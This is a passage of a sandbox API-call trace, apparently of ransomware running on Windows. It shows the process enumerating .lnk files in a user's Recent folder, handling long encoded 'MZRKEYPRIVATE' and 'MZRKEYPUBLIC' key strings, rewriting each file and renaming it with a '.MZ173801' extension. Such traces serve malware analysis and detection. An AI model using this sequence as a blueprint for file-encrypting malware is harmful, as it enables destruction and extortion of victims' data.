(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RaqZQNwTN3mbA0F.lnk", dwFileAttributes=0x80) returned 1 [0151.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.897] GetCurrentThreadId () returned 0xab4 [0151.897] GetCurrentThreadId () returned 0xab4 [0151.897] GetCurrentThreadId () returned 0xab4 [0151.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.898] GetCurrentThreadId () returned 0xab4 [0151.898] GetCurrentThreadId () returned 0xab4 [0151.898] GetCurrentThreadId () returned 0xab4 [0151.898] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RaqZQNwTN3mbA0F.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\raqzqnwtn3mba0f.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.898] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.898] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.898] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x48e [0151.899] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.899] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x48e, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x48e, lpOverlapped=0x0) returned 1 [0151.900] CloseHandle (hObject=0x280) returned 1 [0151.900] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RaqZQNwTN3mbA0F.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\raqzqnwtn3mba0f.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.901] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x48e, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x48e, lpOverlapped=0x0) returned 1 [0151.902] CloseHandle (hObject=0x280) returned 1 [0151.904] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RaqZQNwTN3mbA0F.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\raqzqnwtn3mba0f.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RaqZQNwTN3mbA0F.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\raqzqnwtn3mba0f.lnk.mz173801")) returned 1 [0151.904] GetCurrentThreadId () returned 0xab4 [0151.904] GetCurrentThreadId () returned 0xab4 [0151.904] GetCurrentThreadId () returned 0xab4 [0151.904] GetCurrentThreadId () returned 0xab4 [0151.905] GetCurrentThreadId () returned 0xab4 [0151.905] GetCurrentThreadId () returned 0xab4 [0151.905] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cb30b9d, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4cb30b9d, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4cb30b9d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="RDCSEzrQ7xZ1X0RREt.lnk", cAlternateFileName="RDCSEZ~1.LNK")) returned 1 [0151.905] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.905] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.905] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RDCSEzrQ7xZ1X0RREt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rdcsezrq7xz1x0rret.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cb30b9d, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4cb30b9d, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4cb30b9d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x32e)) returned 1 [0151.905] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RDCSEzrQ7xZ1X0RREt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rdcsezrq7xz1x0rret.lnk")) returned 0x20 [0151.905] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RDCSEzrQ7xZ1X0RREt.lnk", dwFileAttributes=0x80) returned 1 [0151.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 